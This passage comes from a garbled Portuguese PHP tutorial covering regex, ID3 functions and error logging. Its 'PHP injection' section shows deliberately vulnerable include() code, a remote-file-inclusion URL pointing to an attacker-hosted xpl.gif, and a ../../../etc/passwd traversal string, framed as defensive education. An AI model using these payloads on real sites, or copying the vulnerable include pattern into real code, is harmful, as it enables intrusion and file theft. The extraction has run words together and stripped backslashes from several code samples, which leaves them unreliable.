das ERs, uma vez que estes programas são recentes e suportam ERs da forma mais limpa eflexível, na linha de comando, sem a necessidade de escapar dos caracteres especiais. Noentanto, insistimos que nos centralizaremos no raciocínio geral da experessões regulares,sendo que informações específicas de sintaxe devem ser retiradas das páginas dos manuaisdos programas que têm suporte para ERs.Continuando com ER, ER é muito usando em sistemas bbcode ou highlight funções para colorircodigosuns exemplos usado em bbcode:
  • 100. $mensagem = preg_replace("/[b](.*?)[/b]/si", "<b>1</b>", $mensagem);$mensagem = preg_replace("/[i](.*?)[/i]/si", "<i>1</i>", $mensagem);$mensagem = preg_replace("/[u](.*?)[/u]/si", "<u>1</u>", $mensagem);$mensagem = ereg_replace(":mellow:", "<img src=mellow.gif border=0>", $mensagem);1 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</b> usando as tagshtml para deixar negrito o texto2 exemplo ira substituir tudo que tiver entre conteudo por <i>conteudo</i> usando as tagshtml para deixar em italico o texto3 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</u> usando as tagshtml para criar uma lista4 exemplo ira trocar o texto script por uma imagem relacionada a ela os famosos smilesPHP 1. $txt = preg_replace("/[$]([a-zA-Z_])([a-zA-Z0-9_]*)/", "<span style="color: blue; font- weight: bold;">0</span>", $txt);esse exemplo acima ira colorir tudo que tiver junto da $+string veja a ER se começar comnumero ela nao ira colorirPHP 1. $txt = preg_replace("/(.*?)/", "<span style="color: red;">0</span>",$txt);esse exemplo acima ira colorir tudo que tiver entre stringReferências Bibliográficas1 Mastering Regular Expressions, by Jeffrey E. F. Friedl; second edition, 1994, OReilly.2 Expressões Regulares , por Aurélio M. Jargas; Revista do Linux, 2000 n.o 3, ComunidadeLinux Brasileira.3 Expressões Regulares 2, by Aurélio M. Jargas; Revista do Linux, 2000 n.o 7, ComunidadeLinux Brasileira.4 http://aurelio.net/er Aurélio M. Jargas
  • 101. Estudo sobre PHP InjectionHoje em dia, é comum a utilização de linguagens como o PHP para construção de portais esites dinâmicos em todo o mundo.Essa técnica oferece um meio de interagir com o Web site e outros usuários, tendo um meiode troca de informações, notícias,etc.O maior problema desses sites dinâmicos são as diversas maneiras de se explorar o sistema.Explorar uma brecha no sistema a partit de um site rodando arquivos PHP pode se intitularPHP injection.Como o próprio nome ja diz, injeção de Código em PHP, mas antes de mostrar como fazer,vamos entender por que e como essa brecha acontece.No PHP temos um recurso chamado include, o qual nos permite incluir um arquivo inteirodentro de uma página ja pronta.É muito usado em páginas nas quais existe um layout pré-definido e o conteúdo central édinâmico.exemplo 1:<html><head></head><body><?phpinclude "arquivo.php";?></body></html>Como todo mundo sabe quando a página acima for processada pelo servidor Web, todo oconteúdo do arquivo.php será processado pelo servidore colocano no exemplo 1.Com isso vamos ao que interessa, a função include permite que façamos inclusões remotas, ouseja poderemos incluir arquivos no código PHP, mesmoque estes não estejam no servidor onde a página se encontra.exemplo:PHP 1. <?php
  • 102. 2. include "http://site.com.br/pagina.php"; 3. ?>O importante dessas explicações é para você saber proteger melhor seu site e se prevenir defuturos ataques deixando seu sistema mais seguromas não use essas informações para tirar proveito, nem para invadir outro site, sabia que issoé crime ,e tenha sempre a informação sobre segurançapara se proteger e aprender mais sobre segurança.Agora vamos ver como como injetar um código malisioso na página a ser invadida.Muitos programadores hoje não aprendem ou não dao muita importancia para segurança.Geralmente a função include é usada para agilizar a exibição de uma página.exemplo 2:pagina.phpPHP 1. <html> 2. <head> 3. </head> 4. <body> 5. <?php 6. if(isset($_GET["corpo"])) 7. { 8. include $_GET["corpo"]; 9. } 10. ?> 11. </body> 12. </html>Esse exemplo acima ira incluir uma página por exemplo a arquivo.php assim que ela forinserida pela url exemplo:
  • 103. http://pagina.php?corpo=arquivo.phppara injetar um código malicioso nessa página é só fazer assim:http://pagina.php?corpo=http://seusite.com.br/script.phpuma maneira de se proteger contra esse ataque é tirando a extensão para ser incluidaexemplo:exemplo 3:PHP 1. pagina.php 2. <html> 3. <head> 4. </head> 5. <body> 6. <?php 7. if(isset($_GET["corpo"])) 8. { 9. include $_GET["corpo"].".php"; 10. } 11. ?> 12. </body> 13. </html>agora essa página só aceita arquivos passados sem extensão por exemplo:
  • 104. http://pagina.php?corpo=arquivomas ainda da para injetar um código maliciosodesse modo acima o o script do atacante seria processado no próprio servidor e passado só oresultado para a maquina que pretende invadire não é isso que nós queremos, o importante é que seja processado o script do atacante nopróprio servidor da vitima.por isso não vamos mais usar extensão .php, vamos usar qualquer outra que não sejaprocessada pelo servidor que vamos injetar o exploit .Vamos usar .gif, mas pode usar qualquer outra extensãoAgora para burlar o exemplo 3 usaremos:http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?com esse ponto de interrogação logo após xpl.gif ,conseguiremos o desejado antes de fazer ainclusão ficaria assim :http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?.phpTudo que tiver depois do ponto de interrogação será descartado pelo servidor do atacantesendo possivel assim descarregar o xpl.gif para dentro do servidor alvo.outra forma que usam o include é assim:exemplo 4:PHP 1. <?php 2. 3. include ("var/www/htdocs/http/".$_GET["corpo"]); 4. 5. ?>
  • 105. agora não conseguiremos mais injetar nenhum script pois se tentarmos daria erro porque elenão conseguiu achar o caminho certomas ainda da pra tirar alguma vantagem dessa situação se for servidor linux vamos fazer assim:http://site_vitima.com.br?corpo=../../../etc/passwdo include ficaria assim:exemplo 5PHP 1. <?php 2. 3. include ("var/www/htdocs/http/../../../etc/passwd"); 4. 5. ?>Permitindo assim ler qualquer arquivo no servidor no qual tenhamos permissão para isso.apenas arquivo com extensão .php não conseguiremos lernesse diretorio fica todos os usuários do computador.Bom vamos parar por aqui porque não quero treinar nenhum usuario para ser hacker e simaprender mais sobre segurançamas fique atento sites sem proteção o atacante pode visualizar senhas e pastas que você nãoesperava que ele veriaproteja seus diretorios e reescreva ses scripts para melhorar a segurança, hoje em dia oregister_globals deixou de ser setado pra on no php.inipara off, por motivos de segurança, com o register_globals = on da para invadir sites pelologin, injetar códigos malisiososmuito mais facil ,resumindo register_globals = on deixa uma brecha enorme na sua segurançaé a mesma coisa você reforçar sua porta colocando cadeadosfechaduras fortes, mas a casa ta sem paredes o ladrão entra sem passar pela porta, e ostecnicos do php aconselham a nunca mais usar o register_globals = onFique atento também contra sql injection , ja não vou falar dele pois vocês devem conhecerbastante sobre issobons estudos.Id3 Tags MP3 e PEAR
  • 106. Para usar a função do php para manipular as tags mp3 você precisa descomentar alinhaextension=php_id3.dlldo php.ini e reiniciar o servidor, recomendo instalar também os serviços do PEAR ,PEAR querdizer pêra e até seu simboloé a fruta pêra.PEAR, o repositório do PHP de aplicação e extensão (originalmente, Extensão do PHP eRepositório de Add-on) são as versões das classes da fundação do PHP, e talvez cresçam nofuturo para ser um dos caminhos principais para distribuir o PHP em ambas extensões, C e PHPentre os desenvolvedores.O PEAR nasceu em discussões realizadas nas PHP Developers Meeting-PMD (Reuniões dosDesenvolvedores do PHP-RDP) realizada em Janeiro de 2000 em Tel Aviv. Foi criada por Sitg S.Bakken, e é dedicada à sua primeira filha, Malin Bakken.Desde o começo de 2000, o PEAR cresceu para ser um grande, e significativo projeto com umlargo número de desenvolvedores trabalhando em executar tarefas comuns, funcionalidadesreusáveis para o benefício de toda a comunidade PHP. Hoje em dia o PEAR incluí acesso à basede dados, cache de conteúdo, calculações matemáticas, eCommerce e muito mais.Mais informação sobre o PEAR pode ser encontrada em http://pear.php.net/manualCom essa função do php para manipular o mp3 você conseguirá pegar informações dasmusicas mp3 como por exemplo titulo da musica nome do artista, album, genero musical, anodo cd e número da musica.e vai poder também editar essas informações dos arquivos .mp3funções do php para manipular o mp3:id3_get_genre_id -- Você fornece o nome do genero e essa função retorna o numero dogenero da musica por exemplo id3_get_genre_id("Rock") = 17id3_get_genre_list -- Pega a lista de todos os generos e coloca um array numero e nome dogeneroid3_get_genre_name -- Você fornece o numero do genero e essa função retorna o nome dogenero da musica por exemplo id3_get_genre_id(17) = Rockid3_get_tag -- Pega todas informações da tag mp3 e passa para um arrayid3_get_version -- Pega a versão do id3id3_remove_tag -- Remove as tags do mp3id3_set_tag -- Atualiza as tags do mp3Exemplo 1. id3_get_genre_id()PHP 1. <?php 2. $id = id3_get_genre_id("Alternative");
  • 107. 3. echo $id; 4. ?>Resultado: 20Exemplo 2. id3_get_genre_list()PHP 1. <?php 2. $genres = id3_get_genre_list(); 3. print_r($genres); 4. ?>Resultado:Array( [0] => Blues [1] => Classic Rock [2] => Country [3] => Dance [4] => Disco [5] => Funk [6] => Grunge [7] => Hip-Hop [8] => Jazz [9] => Metal [10] => New Age [11] => Oldies [12] => Other [13] => Pop [14] => R&B [15] => Rap [16] => Reggae [17] => Rock [18] => Techno [19] => Industrial [20] => Alternative [21] => Ska
  • 108. [22] => Death Metal[23] => Pranks[24] => Soundtrack[25] => Euro-Techno[26] => Ambient[27] => Trip-Hop[28] => Vocal[29] => Jazz+Funk[30] => Fusion[31] => Trance[32] => Classical[33] => Instrumental[34] => Acid[35] => House[36] => Game[37] => Sound Clip[38] => Gospel[39] => Noise[40] => Alternative Rock[41] => Bass[42] => Soul[43] => Punk[44] => Space[45] => Meditative[46] => Instrumental Pop[47] => Instrumental Rock[48] => Ethnic[49] => Gothic[50] => Darkwave[51] => Techno-Industrial[52] => Electronic[53] => Pop-Folk[54] => Eurodance[55] => Dream[56] => Southern Rock[57] => Comedy[58] => Cult[59] => Gangsta[60] => Top 40[61] => Christian Rap[62] => Pop/Funk[63] => Jungle[64] => Native US[65] => Cabaret[66] => New Wave
  • 109. [67] => Psychadelic[68] => Rave[69] => Showtunes[70] => Trailer[71] => Lo-Fi[72] => Tribal[73] => Acid Punk[74] => Acid Jazz[75] => Polka[76] => Retro[77] => Musical[78] => Rock & Roll[79] => Hard Rock[80] => Folk[81] => Folk-Rock[82] => National Folk[83] => Swing[84] => Fast Fusion[85] => Bebob[86] => Latin[87] => Revival[88] => Celtic[89] => Bluegrass[90] => Avantgarde[91] => Gothic Rock[92] => Progressive Rock[93] => Psychedelic Rock[94] => Symphonic Rock[95] => Slow Rock[96] => Big Band[97] => Chorus[98] => Easy Listening[99] => Acoustic[100] => Humour[101] => Speech[102] => Chanson[103] => Opera[104] => Chamber Music[105] => Sonata[106] => Symphony[107] => Booty Bass[108] => Primus[109] => Porn Groove[110] => Satire[111] => Slow Jam
  • 110. [112] => Club [113] => Tango [114] => Samba [115] => Folklore [116] => Ballad [117] => Power Ballad [118] => Rhytmic Soul [119] => Freestyle [120] => Duet [121] => Punk Rock [122] => Drum Solo [123] => Acapella [124] => Euro-House [125] => Dance Hall [126] => Goa [127] => Drum & Bass [128] => Club-House [129] => Hardcore [130] => Terror [131] => Indie [132] => BritPop [133] => Negerpunk [134] => Polsk Punk [135] => Beat [136] => Christian Gangsta [137] => Heavy Metal [138] => Black Metal [139] => Crossover [140] => Contemporary C [141] => Christian Rock [142] => Merengue [143] => Salsa [144] => Thrash Metal [145] => Anime [146] => JPop [147] => SynthPop)Exemplo 3. id3_get_genre_name()PHP 1. <?php 2. $genre = id3_get_genre_name(20);
  • 111. 3. echo $genre; 4. ?>Resultado: AlternativeExemplo 4. id3_get_tag()PHP 1. <?php 2. $tag = id3_get_tag( "example.mp3" ); 3. print_r($tag); 4. ?>Resultado:Array( [title] => DN-38416 [artist] => Re:Legion [album] => Reflections [year] => 2004 [genre] => 19)Nota: Essa função id3_get_tag() só suporta id3 1.0 e 1.1Exemplo 5. id3_get_version()PHP 1. <?php 2. $version = id3_get_version( "example.mp3" ); 3. if ($version == ID3_V1_0) { 4. echo "Versao 1.x";
  • 112. 5. } 6. if ($version == ID3_V1_1) { 7. echo "Versao 1.1"; 8. } 9. if ($version == ID3_V2) { 10. echo "Versao 2.x"; 11. } 12. ?>Exemplo 6. id3_remove_tag() examplePHP 1. <?php 2. $result = id3_remove_tag( "example.mp3", ID3_V1_0 ); 3. if ($result === true) { 4. echo "Tag removida com sucesso"; 5. } 6. ?>Exemplo 7. id3_set_tag()PHP 1. <?php 2. $data = array( 3. "title" => "Re:Start", 4. "artist" => "Re:Legion", 5. "comment" => "A nice track" 6. );
  • 113. 7. $result = id3_set_tag( "example.mp3", $data, ID3_V1_0 ); 8. if ($result === true) { 9. echo "Tag foi atualizada com sucesso"; 10. } 11. ?>Se quiserem conferir mais detalhes eu fiz uma função que lista só as mp3 que tiver no diretorioe ainda tem um player para tocar as musicas, mostra o tamanho das mp3e tem a opção de editar as tags mp3 só clicar no simbolo do lado do nome coloquei umaimagem do winamp, esse script que eu fiz está no laboratorio de scriptspodem utilizarem ,modificarem e melhorarem, fiquem a vontade, a só lembrando essaimagem que fica do lado do nome das mp3 no diretorio esta em mime e você vai visualizar elanormalmentefiz isso para não precisar de eu colocar a imagem no servidor pra download e para vocêsaprenderem mais uma novidade.Função getimagesizeMuita gente não conhece mas essa função simples é muito util para você validar uma imagem,e você pode também pegar as dimensões da imageme o tipo mime real da imagem$size = getimagesize("foto.jpg");resultado:Array ( [0] => 192 [1] => 32 [2] => 1 [3] => width="192" height="32" [bits] => 8 [channels] => 3[mime] => image/gif )SegurançaEscondendo o PHPEm geral, segurança por obscuridão é uma das mais fracas formas de segurança. Mas emalguns casos, cada pequeno bit extra de segurança é desejável.
  • 114. Algumas poucas técnicas simples podem ajudar a esconder o PHP, possivelmente atrasandoum invasor que está tentando descobrir fraquezas em seu sistema. Setando expose_php = offem seu arquivo php.ini, você reduz a quantidade de informação disponível para ele.Uma outra tática é configurar os servidores tais como apache para interpretar diferentes tiposde arquivos através do PHP, ou com uma diretiva .htaccess, ou na própria configuração doapache. Você pode então usar extensões de arquivos enganadoras: Escondendo PHP fazendoparecer com outra linguagem# Fazer o código PHP parecer com outros tipos de códigosAddType application/x-httpd-php .asp .py .plOu escondê-lo completamente: Exemplo 15-19. Usando tipos desconhecidos para extensõesdo PHP# Fazer o código PHP parecer com tipos de códigos desconhecidosAddType application/x-httpd-php .bop .foo .133tOu escondê-lo no código HTML, que tem baixa chance de ser atingido porque todos os HTMLserão interpretados pelo PHP: Exemplo 15-20. Usando tipos de HTML para extensões do PHP# Fazer todo o código parecer com HTMLAddType application/x-httpd-php .htm .htmlPara este exemplo trabalhar efetivamente, você deve renomear todos os seus arquivos PHPcom as extensões acimas. Apesar dessa ser a forma de segurança através obscuridão, ela é amedida menos preventiva e com algumas desvantagens.Log de Erroserror_log()error_log -- Envia uma mensagem de erro para algum lugarDescriçãoint error_log ( string mensagem [, int mensagem_type [, string destination [, stringextra_headers]]])Envia uma mensagem de erro para o log de um servidor, para uma porta TCP ou para umarquivo. O primeiro parâmetro, mensagem, é a mensagem de erro que deve ser logada. Osegundo parâmetro, mensagem_type diz para onde a mensagem deve ir:Tabela 1. Tipo de logs de error_log()0 mensagem é enviada para o sistema de log do PHP, usando o sistema de log do sistema
  • 115. operacional ou para um arquivo, dependendo do que estiver definido na diretiva error_log1 mensagem é enviado para o endereço de email em destination. Este é o unico tipo demensagem onde o quarto parâmetro extra_headers é usado. Este tipo de mensagem usa amesma função interna que a função mail() usa.2 mensagem é enviada através de conexão de debug do PHP. Esta opção só esta disponível seo debug remoto estiver ativado . Neste caso, o parâmetro destination define o nume doservidor ou endereço IP e opcionalmente, o número da porta, do socket recebendo ainformação de debug.3 mensagem é adicionada ao arquivo destination.exemplo de como criar um arquivo de log de erro:PHP 1. <?php 2. $data = date("d/m/Y H:i"); 3. error_log($data."|".mysql_errno()."n", 3, "erros.log"); 4. ?>será criado um arquivo com o nome de erros.logcom o conteudo:30/04/2005 18:33|1064data hora|numero do erro do mysqlmas você pode usar esse log de erro em qualquer sistema que você quisererror_reporting -- Define quais erros serão reportadosA função error_reporting() define a diretiva error_reporting em tempo de execução. O PHPtem vários níveis de erros, usando esta função você pode definir o nível durante a execução doseu script.error_reporting() define o nível de erros que o PHP irá reportar, e retorna o nível antigo. Oparâmetro nível pode usar um bitmask, ou constantes. É fortemente recomendado que vocêuse constantes para assegurar compatibilidade com futuras versões. Como níveis de errospodem ser adicionados, o intervalo das constantes pode crescer, então os níveis de errosindicados anteriormente por inteiros pode não funcionar como esperado.Alguns exemplos de uso:
  • 116. Exemplo 1. Exemplos error_reporting()PHP 1. <?php 2. 3. // Desativa o relatório de todos os erros 4. error_reporting(0); 5. 6. // Reporta erros simples 7. error_reporting(E_ERROR | E_WARNING | E_PARSE); 8. 9. // Reportar E_NOTICE pode ser bom também (para reportar variáveis não iniciadas 10. // ou eros de digitação em nomes de variáveis ...) 11. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); 12. 13. // Reportar todos os erros exceto E_NOTICE 14. // Este é o valor padrão no php.ini 15. error_reporting(E_ALL ^ E_NOTICE); 16. 17. // Reporta todos os erros (bitwise 63 deve ser usado no PHP 3) 18. error_reporting(E_ALL); 19. 20. // O mesmo que error_reporting(E_ALL); 21. ini_set (error_reporting, E_ALL); 22. 23. ?> 24.
  • 117. Tabela 1. Constantes de nível e valores de bit de error_reporting().Valor Constante1 E_ERROR2 E_WARNING4 E_PARSE8 E_NOTICE16 E_CORE_ERROR32 E_CORE_WARNING64 E_COMPILE_ERROR128 E_COMPILE_WARNING256 E_USER_ERROR512 E_USER_WARNING1024 E_USER_NOTICE2047 E_ALL2048 E_STRICTAtençãoDebug remoto via TCP/IP é do PHP 3 e não esta disponível no PHP 4.Exemplo 1. Exemplos de error_log()PHP 1. 2. <?php 3. // Envia uma notificação para o log do servidor 4. // se não pudermos conectar ao banco de dados. 5. if (!Ora_Logon($username, $password)) { 6. error_log("Oracle database not available!", 0); 7. } 8. 9. // Avisa o administrados se nós ficarmos sem FOO 10. if (!($foo = allocate_new_foo())) { 11. error_log("Big trouble, were all out of FOOs!", 1,
  • 118. 12. "operator@example.com"); 13. } 14. 15. // outros meios de usar calling error_log(): 16. error_log("You messed up!", 2, "127.0.0.1:7000"); 17. error_log("You messed up!", 2, "loghost"); 18. error_log("You messed up!", 3, "/var/tmp/my-errors.log"); 19. ?>Erros e LogsIntroduçãoEstas são funções para lidar com erros e logs. Elas permitem a você definir a suas própriasregras para manusear erros, assim como para modificar a maneira com que é efetuado o logde erros. Isto permite a você melhorar e adaptar as suas necessidades os avisos de erro.Com as funções de log, você pode mandar mensagens diretamente para outras máquinas, paraum email (ou email para um pager), para os logs do sistema, etc, assim você podeseletivamente logar e monitorar as partes mais importantes das suas aplicações e websites.As funções de erro permitem você configurar quais níveis de erro devem ser reportados e otipo de resposta que será dado, indo desde simples avisos até as funções retornadas duranteos erros.RequisitosNenhuma biblioteca externa é necessária para compilar esta extensão.InstalaçãoNão há nenhuma instalação necessária para utilizar estas funções, elas fazem parte do núcleodo PHP.Configuração durante execuçãoO comportamento dessas funções podem ser modificado pelas configurações do php.ini.Tabela 1. Opções de configurações de erros e log
  • 119. Nome Padrão Modificávelerror_reporting E_ALL & ~E_NOTICE PHP_INI_ALLdisplay_errors "1" PHP_INI_ALLdisplay_startup_errors "0" PHP_INI_ALLlog_errors "0" PHP_INI_ALLlog_errors_max_len "1024" PHP_INI_ALLignore_repeated_errors "0" PHP_INI_ALLignore_repeated_source "0" PHP_INI_ALLreport_memleaks "1" PHP_INI_SYSTEMtrack_errors "0" PHP_INI_ALLhtml_errors "1" PHP_INI_ALLdocref_root "" PHP_INI_ALLdocref_ext "" PHP_INI_ALLerror_prepend_string NULL PHP_INI_ALLerror_append_string NULL PHP_INI_ALLerror_log NULL PHP_INI_ALLwarn_plus_overloading NULL PHP_INI??Para maiores detalhes e definição das constantes do PHP_INI_* veja ini_set().Breve descrição das diretivas de configuração.error_reporting integerDefine o nível de erros para reportar. O parâmetro pode ser um inteiro ou uma constante. Osníveis de erros para reportar estão descritos em Constantes Predefinidas, e no php.ini. Paradefinir em tempo de execução, use a função error_reporting(). Veja também a diretivadisplay_errors.No PHP 4 e PHP 5 o valor padrão é E_ALL & ~E_NOTICE. Esta definição não mostra erros denível E_NOTICE. Você deve querer mostra-los durante o desenvolvimento.Nota: Ativando E_NOTICE durante o desenvolvimento tem alguns beneficios. Para o propositode eliminar erros: mensagens NOTICE irão avisar você sobre possiveis erros em seu código. Porexemplo, o uso de valores não definidos é avisado. É extremamente útil para encontrar errosde digitação e economisar tempo na correção de erros. As mensagens NOTICE irão avisar avocê sobre mal estilo. Por exemplo, $arr[item] é melhor que seja escrito como $arr[item] jáque o PHP irá tratar "item" como uma constante. Se não for uma constante, o PHP iráconsiderar como uma string de índice para a matriz.Nota: No PHP 5 um novo nível de erro E_STRICT esta disponível. Já que E_STRICT não estaincluída em E_ALL você deve explicitamente ativar este nível de erro. Ativar E_STRICT duranteo desenvolvimento tem alguns beneficios. Mensagem STRICT irão ajudar a você a utilizar ometodo mais recente de codificação, por exemplo, avisar você sobre funções obsoletas.
  • 120. No PHP 3, a definição padrão é (E_ERROR | E_WARNING | E_PARSE), indicando a mesma coisa.Note, entretanto, desde que constantes não são suportadas no php3.ini do PHP 3, a definiçãodo nível de erros para reportar deve ser númerica, neste caso 7.display_errors booleanIsto determina quando os erros devem ser mostrados como parte da saída ou se devem serescondidos do usuário.Nota: Isto serve para suportar o seu desenvolvimento e nunca deve ser usado em sistemas deprodução (ex. sistemas conectados a internet).display_startup_errors booleanMesmo quando display_errors esta em on, erros que aconteçam durante a inicialização doPHP não são mostrados. É fortemente recomendado manter display_startup_errors em off,exceto para procurar erros.log_errors booleanIndica se as mensagens de erro do script devem ficar no log de erros do servidor ou emerror_log. Esta opção depende do servidor.Nota: Você é fortemente avisado para usar o log de erros ao invés de mostra-los em web sitesde produção.log_errors_max_len integerDefine o limite de tamanho da mensagem de erro para logar em bytes. Em error_log éadicionada informação sobre a fonte. O padrão é 1024 e 0 permite que não seja estabelecidonenhum limite.ignore_repeated_errors booleanNão loga mensagens repetidas. Erros repetidos devem acontecer no mesmo arquivo namesma linha enquanto ignore_repeated_source estiver em true.ignore_repeated_source booleanIgnora a fonte da mensagem quando estiver ignorando mensagens repetidos. Quando estadefinição ON não irá logar mensagens de erros repetidas de arquivos diferentes ou linhasdiferentes.report_memleaks booleanSe este parâmetro estiver em Off, quando acontecerem memory leaks não será mostrado (nasaída ou no log). Isto só tem efeito numa compilação de debug, e se error_reporting incluirE_WARNING na lista de permitidos.track_errors booleanSe ativado, a última mensagem de erro sempre estará disponível na variável $php_errormsg.
  • 121. html_errors booleanDesativa as tags HTML nas mensagens de erro. O novo formato de mensagens de erro emHTML produz mensagens que podem ser clicadas e que direcionam o usuário para uma paginadescrevendo o erro ou a função que causou o erro. Estas referencias são afetadas pordocref_root e docref_ext.docref_root stringO novo formato de mensagens de erro em HTML produz mensagens que podem ser clicadas eque direcionam o usuário para uma pagina descrevendo o erro ou a função que causou o erro.No caso de paginas de manual você pode baixar o manual na sua língua e definir esta diretivapara a sua cópia local. Se a sua cópia local do manual podur ser acessada por /manual/ vocêpode simplesmente usar docref_root=/manual/. Adicionalmente você deve definir docref_extpara ser igual a extensão da sua cópia docref_ext=.html. É possível usar referencias externas.Por exemplo, você pode usar docref_root=http://manual/en/ oudocref_root="http://landonize.it/?how=url&theme=classic&filter=Landon&url=http%3A%2F%2Fwww.php.net%2F"A maior parte do tempo você deve querer que o valor de docref_root termine com uma barra/. Mas veja o segundo exemplo acima o qual não tem ou não necessita isso.Nota: Isto é para suportar o seu desenvolvimento já que torna mais fácil encontrar a descriçãode uma função. Entretando não deve ser usado em sistemas de produção (ex. sistemasconectados na internet).docref_ext stringVeja docref_root.Nota: O valor de docref_ext deve começar com um ponto ..error_prepend_string stringString para mostrar antes de uma mensagem de erro.error_append_string stringString para mostrar após uma mensagem de erro.error_log stringO nome do arquivo onde os erros do script serão logados. Se o valor especial syslog é usado, oserros são enviados para o log do sistema. No UNIX, isto indica syslog(3) e no Windows NT istoindica o log do evento. O log de sistema não é suportado no Windows 95. Veja também:syslog().warn_plus_overloading booleanSe ativado, esta opção faz o PHP mostrar um aviso quando o operador de adição (+) é usadoem strings. Isto é para tornar mais fácil encontrar scripts que precisam ser rescritos usando o
  • 122. operador de concatenação (.).Constantes PredefinidasAs constantes listadas abaixo estão sempre disponíveis como parte do núcleo do PHP.Nota: Você pode usar estes nomes de constantes no php.ini mas não fora do PHP, como nohttpd.conf, aonde você deve usar os valores.Tabela 2. Erros e LogValor Constante Descrição Nota 1 E_ERROR (integer) Erros em tempo de execução fatais. Estes indicam erros que não podemser recuperados, como problemas de alocação de memória. A execução do script éinterrompida. 2 E_WARNING (integer) Avisos em tempo de execução (erros não fatais). A execução do scriptnão é interrompida. 4 E_PARSE (integer) Erro em tempo de compilação. Erros gerados pelo interpretador. 8 E_NOTICE (integer) Notícia em tempo de execução. Indica que o script encontrou algumacoisa que pode indicar um erro, mas que também possa acontecer durante a execução normaldo script. 16 E_CORE_ERROR (integer) Erro fatal que acontece durante a inicialização do PHP. Este éparecido com E_ERROR, exceto que é gerado pelo núcleo do PHP. Somente PHP 4 32 E_CORE_WARNING (integer) Avisos (erros não fatais) que aconteçam durante ainicialização do PHP. Este é parecido com E_WARNING, exceto que é gerado pelo núcleo doPHP. Somente PHP 4 64 E_COMPILE_ERROR (integer) Erro fatal em tempo de compilação. Este é parecido comE_ERROR, exceto que é gerado pelo Zend Scripting Engine. Somente PHP 4 128 E_COMPILE_WARNING (integer) Aviso em tempo de compilação. Este é parecido comE_WARNING, exceto que é geredo pelo Zend Scripting Engine. Somente PHP 4 256 E_USER_ERROR (integer) Erro gerado pelo usuário. Este é parecido com E_ERROR, excetoque é gerado pelo código PHP usando a função trigger_error(). Somente PHP 4 512 E_USER_WARNING (integer) Aviso gerado pelo usuário. Este é parecido comE_WARNING, exceto que é gerado pelo código PHP usando a função trigger_error(). SomentePHP 4 1024 E_USER_NOTICE (integer) Notícia gerada pelo usuário. Este é parecido com E_NOTICE,exceto que é gerado pelo código PHP usando a função trigger_error(). Somente PHP 4 2047 E_ALL (integer) Todos os erros e avisos, como suportado, exceto do nível E_STRICT. 2048 E_STRICT (integer) Nóticias em tempo de execução. Permite ao PHP sugerirmodificações em seu código para segurar melhor interoperabilidade e compatibilidade futurado seu código. Somente PHP 5
  • 123. Os valores acima (numéricos ou simbolicos) são usados para criar um bitmask que especificaquais erros reportar.Você pode usar os operadores Bit-a-bit para combinar estes valores oumascarar certos tipos de erro. Note que somente |, ~, !, ^ e & serão entendidos dentro dophp.ini, entretanto, nenhum operador será entendido no php3.ini.ExemplosAbaixo você poderá ver um exemplo de como usar as capacidades de gerenciamento de errosno PHP. Nós definimos uma função para gerenciamento de erros a qual guardas asinformações dentro de um arquivo (usando um formato XML), e envia um e-mail para odesenvolvador caso um erro crítico na lógica aconteça. Exemplo 1. Usando gerenciamento deerro em um scriptPHP 1. <?php 2. // nós iremos fazer o nosso próprio gerenciamento de erros 3. error_reporting(0); 4. 5. // função definida pelo usuário para gerenciamento de erros 6. function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) { 7. // timestamp para a entrada do erro 8. $dt = date("Y-m-d H:i:s (T)"); 9. 10. // Define uma matriz associativa com as strings dos erros 11. $errortype = array ( 12. 1 => "Error", 13. 2 => "Warning", 14. 4 => "Parsing Error", 15. 8 => "Notice", 16. 16 => "Core Error", 17. 32 => "Core Warning", 18. 64 => "Compile Error", 19. 128 => "Compile Warning",
  • 124. 20. 256 => "User Error",21. 512 => "User Warning",22. 1024=> "User Notice"23. );24. // define quais erros nós iremos salvar25. $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);26.27. $err = "<errorentry>n";28. $err .= "t<datetime>" . $dt . "</datetime>n";29. $err .= "t<errornum>" . $errno . "</errornum>n";30. $err .= "t<errortype>" . $errortype[$errno] . "</errortype>n";31. $err .= "t<errormsg>" . $errmsg . "</errormsg>n";32. $err .= "t<scriptname>" . $filename . "</scriptname>n";33. $err .= "t<scriptlinenum>" . $linenum . "</scriptlinenum>n";34.35. if (in_array($errno, $user_errors))36. $err .= "t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>n";37. $err .= "</errorentry>nn";38.39. // para teste40. // echo $err;41.42. // salva para o log de erros, e envia um email para o desenvolvedor em caso de erro crí tico43. error_log($err, 3, "/usr/local/php4/error.log");44. if ($errno == E_USER_ERROR)45. mail("phpdev@example.com", "Critical User Error", $err);46. }
  • 125. 47.48.49. function distance($vect1, $vect2) {50. if (!is_array($vect1) || !is_array($vect2)) {51. trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);52. return NULL;53. }54.55. if (count($vect1) != count($vect2)) {56. trigger_error("Vectors need to be of the same size", E_USER_ERROR);57. return NULL;58. }59.60. for ($i=0; $i<count($vect1); $i++) {61. $c1 = $vect1[$i]; $c2 = $vect2[$i];62. $d = 0.0;63. if (!is_numeric($c1)) {64. trigger_error("Coordinate $i in vector 1 is not a number, using zero",65. E_USER_WARNING);66. $c1 = 0.0;67. }68. if (!is_numeric($c2)) {69. trigger_error("Coordinate $i in vector 2 is not a number, using zero",70. E_USER_WARNING);71. $c2 = 0.0;72. }73. $d += $c2*$c2 - $c1*$c1;
  • 126. 74. } 75. return sqrt($d); 76. } 77. 78. $old_error_handler = set_error_handler("userErrorHandler"); 79. 80. // constante indefinida, gera um aviso 81. $t = I_AM_NOT_DEFINED; 82. 83. // define alguns "vetores" 84. $a = array(2, 3, "foo"); 85. $b = array(5.5, 4.3, -1.6); 86. $c = array (1,-3); 87. 88. // gera um erro do usuário 89. $t1 = distance($c, $ ."n"; 90. 91. // gera outro erro do usuário 92. $t2 = distance($b, "i am not an array")."n"; 93. 94. // gera um aviso 95. $t3 = distance($a, $ ."n"; 96. 97. ?>debug_backtrace
